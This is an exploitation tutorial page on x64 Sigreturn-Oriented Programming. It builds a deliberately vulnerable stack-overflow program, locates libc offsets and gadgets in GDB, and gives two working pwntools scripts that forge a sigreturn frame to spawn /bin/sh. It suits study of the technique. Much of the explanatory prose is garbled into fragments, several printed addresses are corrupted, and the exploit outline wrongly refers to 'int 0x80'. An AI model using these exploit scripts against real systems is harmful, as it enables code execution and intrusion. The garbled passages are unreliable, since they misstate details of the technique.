



## 02.SROP(Sigreturn-oriented programming) - x64

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

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### SROP(Sigreturn-oriented programming)

- [SROP sigreturn](#)

### Signal & Signal handler

- [x86 x64 Signal & Signal handler](#)
  - [01.SROP\(Sigreturn-oriented programming\) - x86#01.SROP\(Sigreturn-oriented programming\)-x86-Signal](#)
  - [01.SROP\(Sigreturn-oriented programming\) - x86#01.SROP\(Sigreturn-oriented programming\)-x86-Signalhandler](#)

### Example code

**sig.c**

```
//gcc -g -o sig64 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
    printf("Signal number: %d\n", signum);
}

int main(){
    signal(SIGINT, (void *)handle_signal);
    while(1) {}
    return 0;
}
```

### Debugging

- [handle\\_signal Break point](#)
- [GDB](#)

## Break points

```
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig64
Reading symbols from ./sig64...done.
gdb-peda$ b handle_signal
Breakpoint 1 at 0x400571: file sig.c, line 8.
gdb-peda$ handle SIGINT nostop pass
Signal          Stop      Print      Pass to program      Description
SIGINT          No       Yes       Yes                   Interrupt
gdb-peda$
```

- **"Ctrl + C" Interrupt** .
  - `bt handle_signal` .

## Prevent GDB from intercepting signals

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/sig64
^C
Program received signal SIGINT, Interrupt.
Breakpoint 1, handle_signal (signum=0x2) at sig.c:8
8      printf("Signal number: %d\n", signum);
gdb-peda$ bt
#0  handle_signal (signum=0x2) at sig.c:8
#1  <signal handler called>
#2  main () at sig.c:13
#3  0x00007ffff7a2d830 in __libc_start_main (main=0x400588 <main>, argc=0x1,
    argv=0x7fffffff588, init=<optimized out>, fini=<optimized out>,
    rtd_fini=<optimized out>, stack_end=0x7fffffff578) at ../csu/libc-start.c:291
#4  0x000000000400499 in _start ()
gdb-peda$
```

- **0 Frame Stack** .

### Frame 0

```
gdb-peda$ frame 0
#0  handle_signal (signum=0x2) at sig.c:8
8      printf("Signal number: %d\n", signum);
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rax
$1 = 0x0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp
$2 = 0x7fffffff4a0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rip
$3 = 0x40059b
gdb-peda$
```

- **1 Frame `__restore_rt()` `rt_sigreturn()`** .
  - `x64 sigreturn 0xf(15)` .

### Frame 1

```
gdb-peda$ frame 1
#1  <signal handler called>
gdb-peda$ x/2i $rip
=> 0x7ffff7a424b0 <__restore_rt>:      mov     rax,0xf
    0x7ffff7a424b7 <__restore_rt+7>:  syscall
gdb-peda$
```

- **signal Frame 0 Stack** .

## register information

```
gdb-peda$ b 13
Breakpoint 2 at 0x40059b: file sig.c, line 13.
gdb-peda$ c
Continuing.
Signal number: 2
Breakpoint 2, main () at sig.c:13
13          while(1) {}
gdb-peda$ i r
rax          0x0          0x0
rbx          0x0          0x0
rcx          0x0          0x0
rdx          0x0          0x0
rsi          0x2f2f2f2f2f2f2f2f  0x2f2f2f2f2f2f2f2f
rdi          0x2          0x2
rbp          0x7fffffff4a0      0x7fffffff4a0
rsp          0x7fffffff4a0      0x7fffffff4a0
r8           0x7fffffff3f0      0x7fffffff3f0
r9           0x0            0x0
r10          0x8            0x8
r11          0x206          0x206
r12          0x400470        0x400470
r13          0x7fffffff580      0x7fffffff580
r14          0x0            0x0
r15          0x0            0x0
rip          0x40059b        0x40059b <main+19>
eflags       0x202          [ IF ]
cs           0x33          0x33
ss           0x2b          0x2b
ds           0x0            0x0
es           0x0            0x0
fs           0x0            0x0
gs           0x0            0x0
gdb-peda$
```

## sigreturn()

- **sigreturn()** **Signal** **Kernel Mode** **User Mode** **stack** .
  - sigreturn() **stack** **restore\_sigcontext()** .

<https://elixir.bootlin.com/linux/latest/source/arch/x86/kernel/signal.c#L636>

```
asmlinkage long sys_rt_sigreturn(void){
    struct pt_regs *regs = current_pt_regs();
    struct rt_sigframe __user *frame;
    ...
    if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags))
        goto badframe;
    ...
}
```

- **restore\_sigcontext()** **COPY\_SEG()**, **COPY()** **stack** .
  - , **ROP** **Gadget** **sigreturn()** .

<https://elixir.bootlin.com/linux/latest/source/arch/x86/kernel/signal.c#L96>

```
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
...
#ifdef CONFIG_X86_64
    COPY(r8);
    COPY(r9);
    COPY(r10);
    COPY(r11);
    COPY(r12);
    COPY(r13);
    COPY(r14);
    COPY(r15);
#endif /* CONFIG_X86_64 */

    COPY_SEG_CPL3(cs);
    COPY_SEG_CPL3(ss);

#ifdef CONFIG_X86_64
    /*
     * Fix up SS if needed for the benefit of old DOSEMU and
     * CRIU.
     */
    if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) &&
        user_64bit_mode(regs)))
        force_valid_ss(regs);
#endif
...
}
```

- **x64 stack** `restore_sigcontext()` `&frame->uc.uc_mcontext` .

<https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/sigframe.h#L81>

```
struct rt_sigframe_x32 {
    u64 pretcode;
    struct ucontext_x32 uc;
    compat_siginfo_t info;
    /* fp state follows here */
};
```

<https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/sigframe.h#L72>

```
struct ucontext_x32 {
    unsigned int      uc_flags;
    unsigned int      uc_link;
    compat_stack_t    uc_stack;
    unsigned int      uc_pad0; /* needed for alignment */
    struct sigcontext uc_mcontext; /* the 64-bit sigcontext type */
    compat_sigset_t    uc_sigmask; /* mask last for extensibility */
};
```

- **x64** , `sigcontext` .

```
# else /* __x86_64__: */
struct sigcontext {
    __u64                r8;
    __u64                r9;
    __u64                r10;
    __u64                r11;
    __u64                r12;
    __u64                r13;
    __u64                r14;
    __u64                r15;
    __u64                rdi;
    __u64                rsi;
    __u64                rbp;
    __u64                rbx;
    __u64                rdx;
    __u64                rax;
    __u64                rcx;
    __u64                rsp;
    __u64                rip;
    __u64                eflags;           /* RFLAGS */
    __u16                cs;
    __u16                gs;
    __u16                fs;
    union {
        __u16            ss;           /* If UC_SIGCONTEXT_SS */
        __u16            __pad0;       /* Alias name for old (!UC_SIGCONTEXT_SS) user-
space */
    };
    __u64                err;
    __u64                trapno;
    __u64                oldmask;
    __u64                cr2;
    struct _fpstate __user *fpstate;    /* Zero when no FPU context */
# ifdef __ILP32__
    __u32                __fpstate_pad;
# endif
    __u64                reserved1[8];
};
```

## Proof of concept

## Example code

## srop64.c

```
//gcc -fno-stack-protector -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 512);
}

void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}
```

## Overflow

- **Breakpoints .**
  - 0x400756: vuln
  - 0x40079a: read()

## Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
Reading symbols from ./srop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:      push    rbp
   0x0000000000400757 <+1>:      mov     rbp, rsp
   0x000000000040075a <+4>:      sub     rsp, 0x40
   0x000000000040075e <+8>:      mov     esi, 0x400864
   0x0000000000400763 <+13>:     mov     rdi, 0xffffffffffffffff
   0x000000000040076a <+20>:     call    0x400630 <dlsym@plt>
   0x000000000040076f <+25>:     mov     QWORD PTR [rbp-0x8], rax
   0x0000000000400773 <+29>:     mov     rax, QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:     mov     rsi, rax
   0x000000000040077a <+36>:     mov     edi, 0x40086b
   0x000000000040077f <+41>:     mov     eax, 0x0
   0x0000000000400784 <+46>:     call    0x400600 <printf@plt>
   0x0000000000400789 <+51>:     lea     rax, [rbp-0x40]
   0x000000000040078d <+55>:     mov     edx, 0x200
   0x0000000000400792 <+60>:     mov     rsi, rax
   0x0000000000400795 <+63>:     mov     edi, 0x0
   0x000000000040079a <+68>:     call    0x400610 <read@plt>
   0x000000000040079f <+73>:     nop
   0x00000000004007a0 <+74>:     leave
   0x00000000004007a1 <+75>:     ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **Overflow .**
  - Return address(0x7ffffffe498) - buf (0x7ffffffe450) = 72
  - , 72 Return address .

## Check overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64
Hello SROP
```

```
Breakpoint 1, 0x000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp          0x7fffffff498          0x7fffffff498
gdb-peda$ x/gx 0x7fffffff498
0x7fffffff498:      0x0000000004007d0
gdb-peda$ x/i 0x0000000004007d0
0x4007d0 <main+46>:      nop
gdb-peda$ c
Continuing.
Printf() address : 0x7fff785e800
```

```
Breakpoint 2, 0x00000000040079a in vuln ()
gdb-peda$ i r rsi
rsi          0x7fffffff450          0x7fffffff450
gdb-peda$ p/d 0x7fffffff498 - 0x7fffffff450
$1 = 72
gdb-peda$
```

## Exploit method

- SROP Exploit .

## Exploit

1. sigreturn()
  - a. RSP : sigreturn() ("int 0x80" )
  - b. RDI : "/bin/sh"
  - c. RAX : execve()
  - d. RIP : "int 0x80"
  - e. CS : User Code(0x33)
  - f. SS : User Data / Stack(0x2b)
2. int 0x80

- .

## ROP code

```
sigreturn()
int 0x80
```

- payload .

- Libc offset
  - printf
  - "pop rax; ret"
  - "syscall"
  - "/bin/sh"
- Gadgets
  - int 0x80

## Libc offset

- **offset** .
  - libc offset : printf(0x7ffff785e800) - libc base(0x7ffff7809000) = 0x55800
  - "/bin/sh" offset : "/bin/sh" address(0x7ffff7995d57) - libc base(0x7ffff7809000) = 0x18cd57

### Offset

```
gdb-peda$ vmmmap
Start          End          Perm          Name
...
0x00007ffff7809000 0x00007ffff79c9000 r-xp          /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff79c9000 0x00007ffff7bc9000 ---p          /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bc9000 0x00007ffff7bcd000 r--p          /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7bcf000 rw-p          /lib/x86_64-linux-gnu/libc-2.23.so
...
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p/x 0x7ffff785e800 - 0x00007ffff7809000
$3 = 0x55800

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7995d57 - 0x00007ffff7809000
$4 = 0x18cd57
gdb-peda$
```

## Find Gadgets

- **libc** .
  - Exploit code "pop rax ; ret" Gadget 0x33544 .

### ./rp-lin-x64 -f /lib/x86\_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"

```
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"
0x00074c47: pop rax ; call qword [r12+0x30] ; (1 found)
0x000743ff: pop rax ; call qword [r13+0x30] ; (1 found)
0x00184d32: pop rax ; call qword [rdi+0x4656EE7E] ; (1 found)
0x00135a34: pop rax ; call rax ; (1 found)
0x00135876: pop rax ; jmp rcx ; (1 found)
0x00033544: pop rax ; ret ; (1 found)
0x0003a727: pop rax ; ret ; (1 found)
0x0003a728: pop rax ; ret ; (1 found)
0x0003a7f7: pop rax ; ret ; (1 found)
0x0003a7f8: pop rax ; ret ; (1 found)
0x0003a8a0: pop rax ; ret ; (1 found)
0x0003a8a1: pop rax ; ret ; (1 found)
0x000abc07: pop rax ; ret ; (1 found)
0x00106272: pop rax ; ret ; (1 found)
0x00106273: pop rax ; ret ; (1 found)
0x001a1448: pop rax ; ret ; (1 found)
0x000caabc: pop rax ; retn 0x002F ; (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$
```

- Exploit code "syscall ; ret" Gadget 0xbc375 .



```
/rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret"
```

```
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret"
0x000bc375: syscall ; ret ; (1 found)
0x000cd235: syscall ; ret ; (1 found)
0x000cd245: syscall ; ret ; (1 found)
0x000cd255: syscall ; ret ; (1 found)
0x000cd265: syscall ; ret ; (1 found)
0x000cd275: syscall ; ret ; (1 found)
0x000cd485: syscall ; ret ; (1 found)
0x000f6ed5: syscall ; ret ; (1 found)
0x001077f5: syscall ; ret ; (1 found)
0x00122198: syscall ; ret ; (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$
```

## Find Gadgets - (syscall & return)

- **Memory Map Gadgets** .

### list of gadgets for different systems

OS	ASLR	Gadget	Memory Map	Fixed Memory Location
Linux i386	✓	sigreturn	[vdso]	
Linux x86-64	✓	sigreturn	Libc	
Linux < 3.3 x86-64	✗	syscall & return	[vsyscall]	0xffffffff600000
Linux 3.3 x86-64	✓	syscall & return	Libc	
FreeBSD 9.2 x86-64	✗	sigreturn		0x7fffffff000
Mac OSX x86-64	✓	sigreturn	Libc	
iOS ARM	✓	sigreturn	Libsystem	
iOS ARM	✓	syscall & return	Libsystem	
Linux < 3.11 ARM	✗	sigreturn	[vectors]	0xffff0000

- **x64 3.3 vsyscall "syscall & return"** .

**vsyscall**

```
lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64

Displaying notes found at file offset 0x00000254 with length 0x00000020:
  Owner          Data size  Description
  GNU            0x00000010  NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.32

Displaying notes found at file offset 0x00000274 with length 0x00000024:
  Owner          Data size  Description
  GNU            0x00000014  NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: 8bc6a6d7b9f016893a86290ec9ed1b41769e9cfc
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64
Hello SROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ vmmmap
Start          End          Perm          Name
...
0x00007fffffde000 0x00007fffff000 rw-p          [stack]
0xffffffff600000 0xffffffff601000 r-xp          [vsyscall]
gdb-peda$ x/3i 0xffffffff600000
0xffffffff600000:    mov    rax,0x60
0xffffffff600007:    syscall
0xffffffff600009:    ret
gdb-peda$
```

- **Gadget Error**.
  - Kernel Boot option "vsyscall" "emulate" .
  - Native .

**Check vsyscall options**

```
lazenca0x0@ubuntu:~/Exploit/SROP$ cat /usr/src/linux-headers-$(uname -r)/.config | grep VSYSCALL
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_X86_VSYSCALL_EMULATION=y
# CONFIG_LEGACY_VSYSCALL_NATIVE is not set
CONFIG_LEGACY_VSYSCALL_EMULATE=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
lazenca0x0@ubuntu:~/Exploit/SROP$
```

**CS(Code segment) & SS(Stack Segment)**

- **x64 Kernel Code, User Code x86** .

**Segment**

Purpose	Segment
Kernel Code	0x10
Kernel Data / Stack	0x18
User Code	0x33
User Data / Stack	0x2b



- <https://elixir.bootlin.com/linux/v4.17-rc6/source/arch/x86/include/asm/segment.h#L203>

## Exploit code

- Exploit code .

### srop64.py

```
from pwn import *

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
#syscall = 0xfffffffff600007
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc      : ' + hex(libcBase)
print 'Address of syscall gadget    : ' + hex(syscall)
print 'Address of string "/bin/sh"   : ' + hex(binsh)
print 'Address of poprax gadget      : ' + hex(poprax)

exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

#ucontext
exploit += p64(0x0) * 5

#sigcontext
exploit += p64(0x0)           #R8
exploit += p64(0x0)           #R9
exploit += p64(0x0)           #R10
exploit += p64(0x0)           #R11
exploit += p64(0x0)           #R12
exploit += p64(0x0)           #R13
exploit += p64(0x0)           #R14
exploit += p64(0x0)           #R15

exploit += p64(binsh)         #RDI
exploit += p64(0x0)           #RSI
exploit += p64(0x0)           #RBP
exploit += p64(0x0)           #RBX
exploit += p64(0x0)           #RDX
exploit += p64(0x3b)          #RAX
exploit += p64(0x0)           #RCX
exploit += p64(syscall)        #RSP
exploit += p64(syscall)        #RIP
exploit += p64(0x0)           #eflags
exploit += p64(0x33)          #cs
exploit += p64(0x0)           #gs
exploit += p64(0x0)           #fs
exploit += p64(0x2b)          #ss

p.send(exploit)
p.interactive()
```

## Get shell

```
lazenca0x0@ubuntu:~/Exploit$ python srop64.py
[*] '/home/lazenca0x0/Exploit/SROP/srop64'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17771
The base address of Libc      : 0x7f9cblae2000
Address of syscall gadget    : 0x7f9cblb9d945
Address of string "/bin/sh"  : 0x7f9cblc6e58b
Address of poprax gadget     : 0x7f9cblb1c718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

- pwntools

## srop64-pwn.py

```
from pwn import *

context.arch = "amd64"

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc      : ' + hex(libcBase)
print 'Address of syscall gadget    : ' + hex(syscall)
print 'Address of string "/bin/sh"  : ' + hex(binsh)
print 'Address of poprax gadget     : ' + hex(poprax)

exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall

exploit += str(frame)

p.send(exploit)
p.interactive()
```


## Get shell

```
lazenca0x0@ubuntu:~/Exploit/SROP$ python srop64-pwn.py
[*] '/home/lazenca0x0/Exploit/srop64'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17757
The base address of Libc      : 0x7f36d0719000
Address of syscall gadget    : 0x7f36d07d4945
Address of string "/bin/sh"  : 0x7f36d08a558b
Address of poprax gadget     : 0x7f36d0753718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

## Related site

- <http://egloos.zum.com/studyfoss/v/5182475>
- <http://docs.pwntools.com/en/stable/rop/srop.html>
- <http://www.freebuf.com/articles/network/87447.html>
- <http://blog.leanote.com/post/3191220142@qq.com/SROP>
- <http://blackbunny.io/x64-sigreturn-oriented-programming/>
- [https://en.wikipedia.org/wiki/Sigreturn-oriented\\_programming](https://en.wikipedia.org/wiki/Sigreturn-oriented_programming)
- [https://books.google.co.jp/books?id=h0ltXyJ8aIC&dq=setup\\_frame&hl=ko&source=gbs\\_navlinks\\_s](https://books.google.co.jp/books?id=h0ltXyJ8aIC&dq=setup_frame&hl=ko&source=gbs_navlinks_s)
- <https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/>

## Comments

 Unknown macro: 'html'

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